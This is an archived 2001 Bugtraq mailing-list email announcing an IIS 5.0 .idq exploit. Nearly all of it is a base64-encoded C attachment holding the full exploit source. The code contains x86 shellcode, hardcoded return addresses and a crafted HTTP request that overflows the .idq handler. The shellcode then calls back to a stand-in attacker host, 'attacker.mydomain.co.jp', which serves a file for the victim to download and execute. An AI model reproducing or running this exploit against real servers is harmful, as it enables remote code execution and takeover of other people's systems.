|
Date: Wed, 18 Jul 2001 18:13:32 -0700 (PDT) From: Jason Staples - CNW <ellis@cnw.com> To: bugtraq@securityfocus.com Subject: IIS5 .idq exploit ---559023410-758783491-995505212=:9892 Content-Type: TEXT/PLAIN; charset=US-ASCII SANS accounced its availability today, and after spending a bit of time searching, I finally found the new IIS5 exploit. http://www.geocities.co.jp/MotorCity/5319/iis5idq_exp.txt Regards, Jason +--------------------------------------+----------------------------+ | Jason Staples jason@cnw.com | /"\ | | Network Engineer Security Analyst | \ / ASCII Ribbon Campaign | | | X Against HTML E-Mail | | Connect Northwest Internet Services. | / \ <!-- <HTML> --> | +--------------------------------------+----------------------------+ ---559023410-758783491-995505212=:9892 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="iis5idq_exp.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.GSO.3.96.1010718181332.9892C@baker.cnw.com> Content-Description: LyoNCiBJSVM1LjAgLmlkcSBvdmVycnVuIHJlbW90ZSBleHBsb2l0DQogUHJv Z3JhbW1lZCBieSBoc2ogIDogMDEuMDYuMjENCg0KIGNvZGUgZmxvdzoNCiAg b3ZlcnJ1biAtPiBqbXAgb3IgY2FsbCBlYnggLT4gam1wIDggLT4NCiAgY2hl Y2sgc2hlbGxjb2RlIGFkZHIgYW5kIGp1bXAgdG8gdGhlcmUgLT4NCiAgc2hl bGxjb2RlIC0+IG1ha2UgYmFjayBjaGFubmVsIC0+IGRvd25sb2FkICYgZXhl YyBjb2RlDQoqLw0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3Rk bGliLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c2lnbmFs Lmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3Nv Y2tldC5oPg0KI2luY2x1ZGUgPHN5cy9pb2N0bC5oPg0KI2luY2x1ZGUgPHN5 cy90aW1lLmg+DQojaW5jbHVkZSA8c3lzL3dhaXQuaD4NCiNpbmNsdWRlIDxl cnJuby5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPGZjbnRs Lmg+DQojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPg0KI2luY2x1ZGUgPGxpbWl0 cy5oPg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8YXJwYS9pbmV0 Lmg+DQoNCiNkZWZpbmUgUkVUICAgICAgICAgICAgICAgICAweDc3ZTUxNmRl ICAvKiBqbXAgb3IgY2FsbCBlYnggKi8NCiNkZWZpbmUgR01IQU5ETEVBICAg ICAgICAgICAweDc3ZTU2YzQyICAvKiBBZGRyZXNzIG9mIEdldE1vZHVsZUhh bmRsZUEgKi8NCiNkZWZpbmUgR1BBRERSRVNTICAgICAgICAgICAweDc3ZTU5 YWMxICAvKiBBZGRyZXNzIG9mIEdldFByb2NBZGRyZXNzICovDQojZGVmaW5l IEdNSEFORExFQV9PRkZTRVQgICAgMjQNCiNkZWZpbmUgR1BBRERSRVNTX09G RlNFVCAgICA2MQ0KI2RlZmluZSBPRkZTRVQgICAgICAgICAgICAgIDIzNCAg ICAgICAgIC8qIGV4Y2VwdGlvbiBoYW5kbGVyIG9mZnNldCAqLw0KI2RlZmlu ZSBOT1AgICAgICAgICAgICAgICAgIDB4NDENCg0KI2RlZmluZSBNQVNLSU5H ICAgICAgICAgICAgIDENCiNpZiBNQVNLSU5HDQojZGVmaW5lIFBPUlRNQVNL ICAgICAgICAgICAgMHg0MTQxDQojZGVmaW5lIEFERFJNQVNLICAgICAgICAg ICAgMHg0MTQxNDE0MQ0KI2RlZmluZSBQT1JUTUFTS19PRkZTRVQgICAgIDEy OA0KI2RlZmluZSBBRERSTUFTS19PRkZTRVQgICAgIDEzMw0KI2VuZGlmDQoN CiNkZWZpbmUgUE9SVCAgICAgICAgICAgICAgICA4MA0KI2RlZmluZSBBRERS ICAgICAgICAgICAgICAgICJhdHRhY2tlci5teWRvbWFpbi5jby5qcCINCiNk ZWZpbmUgUE9SVF9PRkZTRVQgICAgICAgICAxMTUNCiNkZWZpbmUgQUREUl9P RkZTRVQgICAgICAgICAxMjANCnVuc2lnbmVkIGNoYXIgc2hlbGxjb2RlW109 DQoiXHg1Qlx4MzNceEMwXHg0MFx4NDBceEMxXHhFMFx4MDlceDJCXHhFMFx4 MzNceEM5XHg0MVx4NDFceDMzXHhDMCINCiJceDUxXHg1M1x4ODNceEMzXHgw Nlx4ODhceDAzXHhCOFx4RERceENDXHhCQlx4QUFceEZGXHhEMFx4NTlceDUw Ig0KIlx4NDNceEUyXHhFQlx4MzNceEVEXHg4Qlx4RjNceDVGXHgzM1x4QzBc eDgwXHgzQlx4MkVceDc1XHgxRVx4ODgiDQoiXHgwM1x4ODNceEZEXHgwNFx4 NzVceDA0XHg4Qlx4N0NceDI0XHgxMFx4NTZceDU3XHhCOFx4RERceENDXHhC QiINCiJceEFBXHhGRlx4RDBceDUwXHg4RFx4NzNceDAxXHg0NVx4ODNceEZE XHgwOFx4NzRceDAzXHg0M1x4RUJceEQ4Ig0KIlx4OERceDc0XHgyNFx4MjBc eDMzXHhDMFx4NTBceDQwXHg1MFx4NDBceDUwXHg4Qlx4NDZceEZDXHhGRlx4 RDAiDQoiXHg4Qlx4RjhceDMzXHhDMFx4NDBceDQwXHg2Nlx4ODlceDA2XHhD MVx4RTBceDAzXHg1MFx4NTZceDU3XHg2NiINCiJceEM3XHg0Nlx4MDJceEJC XHhBQVx4QzdceDQ2XHgwNFx4NDRceDMzXHgyMlx4MTEiDQojaWYgTUFTS0lO Rw0KIlx4NjZceDgxXHg3Nlx4MDJceDQxXHg0MVx4ODFceDc2XHgwNFx4NDFc eDQxXHg0MVx4NDEiDQojZW5kaWYNCiJceDhCXHg0Nlx4RjhceEZGXHhEMFx4 MzNceEMwIg0KIlx4QzdceDA2XHg1Q1x4NjFceDYxXHgyRVx4QzdceDQ2XHgw NFx4NjVceDc4XHg2NVx4NDFceDg4XHg0Nlx4MDciDQoiXHg2Nlx4QjhceDgw XHgwMVx4NTBceDY2XHhCOFx4MDFceDgxXHg1MFx4NTZceDhCXHg0Nlx4RUNc eEZGXHhEMCINCiJceDhCXHhEOFx4MzNceEMwXHg1MFx4NDBceEMxXHhFMFx4 MDlceDUwXHg4RFx4NEVceDA4XHg1MVx4NTdceDhCIg0KIlx4NDZceEY0XHhG Rlx4RDBceDg1XHhDMFx4N0VceDBFXHg1MFx4OERceDRFXHgwOFx4NTFceDUz XHg4Qlx4NDYiDQoiXHhFOFx4RkZceEQwXHg5MFx4RUJceERDXHg1M1x4OEJc eDQ2XHhFNFx4RkZceEQwXHg1N1x4OEJceDQ2XHhGMCINCiJceEZGXHhEMFx4 MzNceEMwXHg1MFx4NTZceDU2XHg4Qlx4NDZceEUwXHhGRlx4RDBceDMzXHhD MFx4RkZceEQwIjsNCg0KdW5zaWduZWQgY2hhciBzdG9yYWdlW109DQoiXHhF Qlx4MDIiDQoiXHhFQlx4NEUiDQoiXHhFOFx4RjlceEZGXHhGRlx4RkYiDQoi bXN2Y3J0LndzMl8zMi5zb2NrZXQuY29ubmVjdC5yZWN2LmNsb3Nlc29ja2V0 LiINCiJfb3Blbi5fd3JpdGUuX2Nsb3NlLl9leGVjbC4iOw0KDQp1bnNpZ25l ZCBjaGFyIGZvcndhcmRqdW1wW109DQoiJXUwOGViIjsNCg0KdW5zaWduZWQg Y2hhciBqdW1wX3RvX3NoZWxsW109DQoiJXVDMDMzJXVCODY2JXUwMzFGJXUw MzQwJXU4QkQ4JXU4QjAzIg0KIiV1Njg0MCV1REIzMyV1MzBCMyV1QzMwMyV1 RTBGRiI7DQoNCnVuc2lnbmVkIGludCByZXNvbHZlKGNoYXIgKm5hbWUpDQp7 DQogICAgc3RydWN0IGhvc3RlbnQgKmhlOw0KICAgIHVuc2lnbmVkIGludCBp cDsNCg0KICAgIGlmKChpcD1pbmV0X2FkZHIobmFtZSkpPT0oLTEpKQ0KICAg IHsNCiAgICAgICAgaWYoKGhlPWdldGhvc3RieW5hbWUobmFtZSkpPT0wKQ0K ICAgICAgICAgICAgcmV0dXJuIDA7DQogICAgICAgIG1lbWNweSgmaXAsaGUt PmhfYWRkciw0KTsNCiAgICB9DQogICAgcmV0dXJuIGlwOw0KfQ0KDQppbnQg bWFrZV9jb25uZWN0aW9uKGNoYXIgKmFkZHJlc3MsaW50IHBvcnQpDQp7DQog ICAgc3RydWN0IHNvY2thZGRyX2luIHNlcnZlcix0YXJnZXQ7DQogICAgaW50 IHMsaSxiZjsNCiAgICBmZF9zZXQgd2Q7DQogICAgc3RydWN0IHRpbWV2YWwg dHY7DQoNCiAgICBzID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7 DQogICAgaWYoczwwKQ0KICAgICAgICByZXR1cm4gLTE7DQogICAgbWVtc2V0 KChjaGFyICopJnNlcnZlciwwLHNpemVvZihzZXJ2ZXIpKTsNCiAgICBzZXJ2 ZXIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2VydmVyLnNpbl9hZGRy LnNfYWRkciA9IGh0b25sKElOQUREUl9BTlkpOw0KICAgIHNlcnZlci5zaW5f cG9ydCA9IDA7DQoNCiAgICB0YXJnZXQuc2luX2ZhbWlseSA9IEFGX0lORVQ7 DQogICAgdGFyZ2V0LnNpbl9hZGRyLnNfYWRkciA9IHJlc29sdmUoYWRkcmVz cyk7DQogICAgaWYodGFyZ2V0LnNpbl9hZGRyLnNfYWRkcj09MCkNCiAgICB7 DQogICAgICAgIGNsb3NlKHMpOw0KICAgICAgICByZXR1cm4gLTI7DQogICAg fQ0KICAgIHRhcmdldC5zaW5fcG9ydCA9IGh0b25zKHBvcnQpOw0KICAgIGJm ID0gMTsNCiAgICBpb2N0bChzLEZJT05CSU8sJmJmKTsNCiAgICB0di50dl9z ZWMgPSAxMDsNCiAgICB0di50dl91c2VjID0gMDsNCiAgICBGRF9aRVJPKCZ3 ZCk7DQogICAgRkRfU0VUKHMsJndkKTsNCiAgICBjb25uZWN0KHMsKHN0cnVj dCBzb2NrYWRkciAqKSZ0YXJnZXQsc2l6ZW9mKHRhcmdldCkpOw0KICAgIGlm KChpPXNlbGVjdChzKzEsMCwmd2QsMCwmdHYpKT09KC0xKSkNCiAgICB7DQog ICAgICAgIGNsb3NlKHMpOw0KICAgICAgICByZXR1cm4gLTM7DQogICAgfQ0K ICAgIGlmKGk9PTApDQogICAgew0KICAgICAgICBjbG9zZShzKTsNCiAgICAg ICAgcmV0dXJuIC00Ow0KICAgIH0NCiAgICBpID0gc2l6ZW9mKGludCk7DQog ICAgZ2V0c29ja29wdChzLFNPTF9TT0NLRVQsU09fRVJST1IsJmJmLCZpKTsN CiAgICBpZigoYmYhPTApfHwoaSE9c2l6ZW9mKGludCkpKQ0KICAgIHsNCiAg ICAgICAgY2xvc2Uocyk7DQogICAgICAgIGVycm5vID0gYmY7DQogICAgICAg IHJldHVybiAtNTsNCiAgICB9DQogICAgaW9jdGwocyxGSU9OQklPLCZiZik7 DQogICAgcmV0dXJuIHM7DQp9DQoNCmludCBnZXRfY29ubmVjdGlvbihpbnQg cG9ydCkNCnsNCiAgICBzdHJ1Y3Qgc29ja2FkZHJfaW4gbG9jYWwscmVtb3Rl Ow0KICAgIGludCBsc29jayxjc29jayxsZW4scmV1c2VfYWRkcjsNCg0KICAg IGxzb2NrID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7DQogICAg aWYobHNvY2s8MCkNCiAgICB7DQogICAgICAgIHBlcnJvcigic29ja2V0Iik7 DQogICAgICAgIGV4aXQoMSk7DQogICAgfQ0KICAgIHJldXNlX2FkZHIgPSAx Ow0KICAgIGlmKHNldHNvY2tvcHQobHNvY2ssU09MX1NPQ0tFVCxTT19SRVVT RUFERFIsKGNoYXIgKikmcmV1c2VfYWRkcixzaXplb2YocmV1c2VfYWRkcikp PDApDQogICAgew0KICAgICAgICBwZXJyb3IoInNldHNvY2tvcHQiKTsNCiAg ICAgICAgY2xvc2UobHNvY2spOw0KICAgICAgICBleGl0KDEpOw0KICAgIH0N CiAgICBtZW1zZXQoKGNoYXIgKikmbG9jYWwsMCxzaXplb2YobG9jYWwpKTsN CiAgICBsb2NhbC5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiAgICBsb2NhbC5z aW5fcG9ydCA9IGh0b25zKHBvcnQpOw0KICAgIGxvY2FsLnNpbl9hZGRyLnNf YWRkciA9IGh0b25sKElOQUREUl9BTlkpOw0KICAgIGlmKGJpbmQobHNvY2ss KHN0cnVjdCBzb2NrYWRkciAqKSZsb2NhbCxzaXplb2YobG9jYWwpKTwwKQ0K ICAgIHsNCiAgICAgICAgcGVycm9yKCJiaW5kIik7DQogICAgICAgIGNsb3Nl KGxzb2NrKTsNCiAgICAgICAgZXhpdCgxKTsNCiAgICB9DQogICAgaWYobGlz dGVuKGxzb2NrLDEpPDApDQogICAgew0KICAgICAgICBwZXJyb3IoImxpc3Rl biIpOw0KICAgICAgICBjbG9zZShsc29jayk7DQogICAgICAgIGV4aXQoMSk7 DQogICAgfQ0KcmV0cnk6DQogICAgbGVuID0gc2l6ZW9mKHJlbW90ZSk7DQog ICAgY3NvY2sgPSBhY2NlcHQobHNvY2ssKHN0cnVjdCBzb2NrYWRkciAqKSZy ZW1vdGUsJmxlbik7DQogICAgaWYoY3NvY2s8MCkNCiAgICB7DQogICAgICAg IGlmKGVycm5vIT1FSU5UUikNCiAgICAgICAgew0KICAgICAgICAgICAgcGVy cm9yKCJhY2NlcHQiKTsNCiAgICAgICAgICAgIGNsb3NlKGxzb2NrKTsNCiAg ICAgICAgICAgIGV4aXQoMSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0K ICAgICAgICAgICAgZ290byByZXRyeTsNCiAgICB9DQogICAgY2xvc2UobHNv Y2spOw0KICAgIHJldHVybiBjc29jazsNCn0NCg0KaW50IG1haW4oaW50IGFy Z2MsY2hhciAqYXJndltdKQ0Kew0KICAgIGludCBpLGoscyxwaWQ7DQogICAg dW5zaWduZWQgaW50IGNiOw0KICAgIHVuc2lnbmVkIHNob3J0IHBvcnQ7DQog ICAgY2hhciAqcCxidWZbNTEyXSxidWYyWzUxMl0sYnVmM1syMDQ4XTsNCiAg ICBGSUxFICpmcDsNCg0KICAgIGlmKGFyZ2MhPTMpDQogICAgew0KICAgICAg ICBwcmludGYoInVzYWdlOiAkICVzIGlwIGZpbGVcbiIsYXJndlswXSk7DQog ICAgICAgIHJldHVybiAtMTsNCiAgICB9DQogICAgaWYoKGZwPWZvcGVuKGFy Z3ZbMl0sInJiIikpPT0wKQ0KICAgICAgICByZXR1cm4gLTI7DQoNCiAgICBp ZighKGNiPXJlc29sdmUoQUREUikpKQ0KICAgICAgICByZXR1cm4gLTM7DQoN CiAgICBpZigocGlkPWZvcmsoKSk8MCkNCiAgICAgICAgcmV0dXJuIC00Ow0K DQogICAgaWYocGlkKQ0KICAgIHsNCiAgICAgICAgZmNsb3NlKGZwKTsNCiAg ICAgICAgcyA9IG1ha2VfY29ubmVjdGlvbihhcmd2WzFdLDgwKTsNCiAgICAg ICAgaWYoczwwKQ0KICAgICAgICB7DQogICAgICAgICAgICBwcmludGYoImNv bm5lY3QgZXJyb3I6WyVkXS5cbiIscyk7DQogICAgICAgICAgICBraWxsKHBp ZCxTSUdURVJNKTsNCiAgICAgICAgICAgIHJldHVybiAtNTsNCiAgICAgICAg fQ0KDQogICAgICAgIGogPSBzdHJsZW4oc2hlbGxjb2RlKTsNCiAgICAgICAg Kih1bnNpZ25lZCBpbnQgKikmc2hlbGxjb2RlW0dNSEFORExFQV9PRkZTRVRd ID0gR01IQU5ETEVBOw0KICAgICAgICAqKHVuc2lnbmVkIGludCAqKSZzaGVs bGNvZGVbR1BBRERSRVNTX09GRlNFVF0gPSBHUEFERFJFU1M7DQogICAgICAg IHBvcnQgPSBodG9ucyhQT1JUKTsNCiNpZiBNQVNLSU5HDQogICAgICAgIHBv cnQgXj0gUE9SVE1BU0s7DQogICAgICAgIGNiIF49IEFERFJNQVNLOw0KICAg ICAgICAqKHVuc2lnbmVkIHNob3J0ICopJnNoZWxsY29kZVtQT1JUTUFTS19P RkZTRVRdID0gUE9SVE1BU0s7DQogICAgICAgICoodW5zaWduZWQgaW50ICop JnNoZWxsY29kZVtBRERSTUFTS19PRkZTRVRdID0gQUREUk1BU0s7DQojZW5k aWYNCiAgICAgICAgKih1bnNpZ25lZCBzaG9ydCAqKSZzaGVsbGNvZGVbUE9S VF9PRkZTRVRdID0gcG9ydDsNCiAgICAgICAgKih1bnNpZ25lZCBpbnQgKikm c2hlbGxjb2RlW0FERFJfT0ZGU0VUXSA9IGNiOw0KICAgICAgICBmb3IoaT0w O2k8c3RybGVuKHNoZWxsY29kZSk7aSsrKQ0KICAgICAgICB7DQogICAgICAg ICAgICBpZigoc2hlbGxjb2RlW2ldPT0weDBhKXx8DQogICAgICAgICAgICAg ICAoc2hlbGxjb2RlW2ldPT0weDBkKXx8DQogICAgICAgICAgICAgICAoc2hl bGxjb2RlW2ldPT0weDNhKSkNCiAgICAgICAgICAgICAgICBicmVhazsNCiAg ICAgICAgfQ0KICAgICAgICBpZihpIT1qKQ0KICAgICAgICB7DQogICAgICAg ICAgICBwcmludGYoImJhZCBwb3J0bm8gb3IgaXAgYWRkcmVzcy4uLlxuIik7 DQogICAgICAgICAgICBjbG9zZShzKTsNCiAgICAgICAgICAgIGtpbGwocGlk LFNJR1RFUk0pOw0KICAgICAgICAgICAgcmV0dXJuIC02Ow0KICAgICAgICB9 DQoNCiAgICAgICAgbWVtc2V0KGJ1ZiwxLHNpemVvZihidWYpKTsNCiAgICAg ICAgcCA9ICZidWZbT0ZGU0VULTJdOw0KICAgICAgICBzcHJpbnRmKHAsIiVz Iixmb3J3YXJkanVtcCk7DQogICAgICAgIHAgKz0gc3RybGVuKGZvcndhcmRq dW1wKTsNCiAgICAgICAgKnArKyA9IDE7DQogICAgICAgICpwKysgPSAnJSc7 DQogICAgICAgICpwKysgPSAndSc7DQogICAgICAgIHNwcmludGYocCwiJTA0 eCIsKFJFVD4+MCkmMHhmZmZmKTsNCiAgICAgICAgcCArPSA0Ow0KICAgICAg ICAqcCsrID0gJyUnOw0KICAgICAgICAqcCsrID0gJ3UnOw0KICAgICAgICBz cHJpbnRmKHAsIiUwNHgiLChSRVQ+PjE2KSYweGZmZmYpOw0KICAgICAgICBw ICs9IDQ7DQogICAgICAgICpwKysgPSAxOw0KICAgICAgICBzcHJpbnRmKHAs IiVzIixqdW1wX3RvX3NoZWxsKTsNCg0KICAgICAgICBtZW1zZXQoYnVmMixO T1Asc2l6ZW9mKGJ1ZjIpKTsNCiAgICAgICAgbWVtY3B5KCZidWYyW3NpemVv ZihidWYyKS1zdHJsZW4oc2hlbGxjb2RlKS1zdHJsZW4oc3RvcmFnZSktMV0s c3RvcmFnZSxzdHJsZW4oc3RvcmFnZSkpOw0KICAgICAgICBtZW1jcHkoJmJ1 ZjJbc2l6ZW9mKGJ1ZjIpLXN0cmxlbihzaGVsbGNvZGUpLTFdLHNoZWxsY29k ZSxzdHJsZW4oc2hlbGxjb2RlKSk7DQogICAgICAgIGJ1ZjJbc2l6ZW9mKGJ1 ZjIpLTFdID0gMDsNCg0KICAgICAgICBzcHJpbnRmKGJ1ZjMsIkdFVCAvYS5p ZHE/JXM9YSBIVFRQLzEuMFxyXG5TaGVsbDogJXNcclxuXHJcbiIsYnVmLGJ1 ZjIpOw0KICAgICAgICB3cml0ZShzLGJ1ZjMsc3RybGVuKGJ1ZjMpKTsNCg0K ICAgICAgICBwcmludGYoIi0tLSIpOw0KICAgICAgICBmb3IoaT0wO2k8c3Ry bGVuKGJ1ZjMpO2krKykNCiAgICAgICAgew0KICAgICAgICAgICAgaWYoKGkl MTYpPT0wKQ0KICAgICAgICAgICAgICAgIHByaW50ZigiXG4iKTsNCiAgICAg ICAgICAgIHByaW50ZigiJTAyWCAiLGJ1ZjNbaV0mMHhmZik7DQogICAgICAg IH0NCiAgICAgICAgcHJpbnRmKCJcbi0tLVxuIik7DQoNCiAgICAgICAgd2Fp dCgwKTsNCiAgICAgICAgc2xlZXAoMSk7DQogICAgICAgIHNodXRkb3duKHMs Mik7DQogICAgICAgIGNsb3NlKHMpOw0KDQogICAgICAgIHByaW50ZigiRG9u ZS5cbiIpOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBzID0g Z2V0X2Nvbm5lY3Rpb24oUE9SVCk7DQogICAgICAgIGogPSAwOw0KICAgICAg ICB3aGlsZSgoaT1mcmVhZChidWYsMSxzaXplb2YoYnVmKSxmcCkpKQ0KICAg ICAgICB7DQogICAgICAgICAgICB3cml0ZShzLGJ1ZixpKTsNCiAgICAgICAg ICAgIGogKz0gaTsNCiAgICAgICAgICAgIHByaW50ZigiLiIpOw0KICAgICAg ICAgICAgZmZsdXNoKHN0ZG91dCk7DQogICAgICAgIH0NCiAgICAgICAgZmNs b3NlKGZwKTsNCiAgICAgICAgcHJpbnRmKCJcbiVkIGJ5dGVzIHNlbmQuLi5c biIsaik7DQoNCiAgICAgICAgc2h1dGRvd24ocywyKTsNCiAgICAgICAgY2xv c2Uocyk7DQogICAgfQ0KDQogICAgcmV0dXJuIDA7DQp9DQoNCg== ---559023410-758783491-995505212=:9892--
|